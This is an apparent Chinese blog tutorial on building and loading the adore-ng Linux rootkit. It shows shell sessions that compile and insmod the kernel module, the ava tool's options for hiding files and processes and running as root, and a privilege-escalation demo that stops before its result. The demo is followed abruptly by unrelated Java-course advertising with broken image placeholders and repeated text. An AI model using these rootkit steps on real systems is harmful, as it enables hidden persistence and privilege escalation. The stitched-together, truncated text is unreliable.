【运维安全】Linux下rootkit把木马程序的使用

[root@gaosh-1 adore]# cd adore-ng-master

[root@gaosh-1 adore-ng-master]#

3. 安装依赖包

[root@gaosh-1 adore-ng-master]# mount /dev/cdrom /mnt

mount: block device /dev/sr0 is write-protected, mounting read-only

[root@gaosh-1 adore-ng-master]#

安装内核模块：

[root@gaosh-1 adore-ng-master]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm

安装adore-ng

[root@gaosh-1 adore-ng-master]# ls

adore-ng.c ava.c libinvisible.h Makefile

adore-ng.h libinvisible.c LICENSE README.md

[root@gaosh-1 adore-ng-master]#

[root@gaosh-1 adore-ng-master]# make -j 4

注意这里无需执行make install

我们只需要加载相应的模块即可

[root@gaosh-1 adore-ng-master]# insmod adore-ng.ko

测试命令是否运行

[root@gaosh-1 adore-ng-master]# ./ava

Usage: ./ava {h,u,r,R,i,v,U} [file or PID]

I print info (secret UID etc)

h hide file ## 隐藏文件

u unhide file ## 取消隐藏

r execute as root ## 提权像root一样运行

R remove PID forever ## 删除PID

U uninstall adore

i make PID invisible ### 隐藏进程

v make PID visible

rootkit木马的使用

提权演示

实验步骤：

1. 创建普通用户便于测试，因为我们要用普通用户提权

2. 将adore-ng移动到可以让普通用户访问的目录，在root下普通用户没有权限

3. 使用r命令进行提权

4. 提权效果演示

1. 创建普通用户便于测试，因为我们要用普通用户提权

创建测试用户：

[root@gaosh-1 adore]# useradd zmgaosh;echo 123456 |passwd --stdin zmgaosh

useradd：用户“zmgaosh”已存在

更改用户 zmgaosh 的密码 。

passwd： 所有的身份验证令牌已经成功更新。

[root@gaosh-1 adore]#

2. 将adore-ng移动到可以让普通用户访问的目录，在root下普通用户没有权限

[root@gaosh-1 adore]# cp -r adore-ng-master /tmp/

[root@gaosh-1 adore]# chmod 777 /tmp/adore-ng-master/ -R 让普通用户有权限访问

3. 使用r命令进行提权

[root@gaosh-1 adore]# su - zmgaosh ## 切换到普通用户

[zmgaosh@gaosh-1 ~]$ cd /tmp/adore-ng-master/

[zmgaosh@gaosh-1 adore-ng-master]$

4. 提权效果演示

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数Java工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年Java开发全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上Java开发知识点，真正体系化！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

如果你觉得这些内容对你有帮助，可以扫码获取！！（备注Java获取）

最后

针对最近很多人都在面试，我这边也整理了相当多的面试专题资料，也有其他大厂的面经。希望可以帮助到大家。

最新整理面试题

上述的面试题答案都整理成文档笔记。也还整理了一些面试资料&最新2021收集的一些大厂的面试真题

最新整理电子书

最新整理大厂面试文档

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持。
《一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码》，点击传送门即可获取！
理电子书

[外链图片转存中…(img-J1cujft7-1712262697726)]

最新整理大厂面试文档

[外链图片转存中…(img-S9Wa5Pyv-1712262697727)]

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持。
《一线大厂Java面试题解析+核心总结学习笔记+最新讲解视频+实战项目源码》，点击传送门即可获取！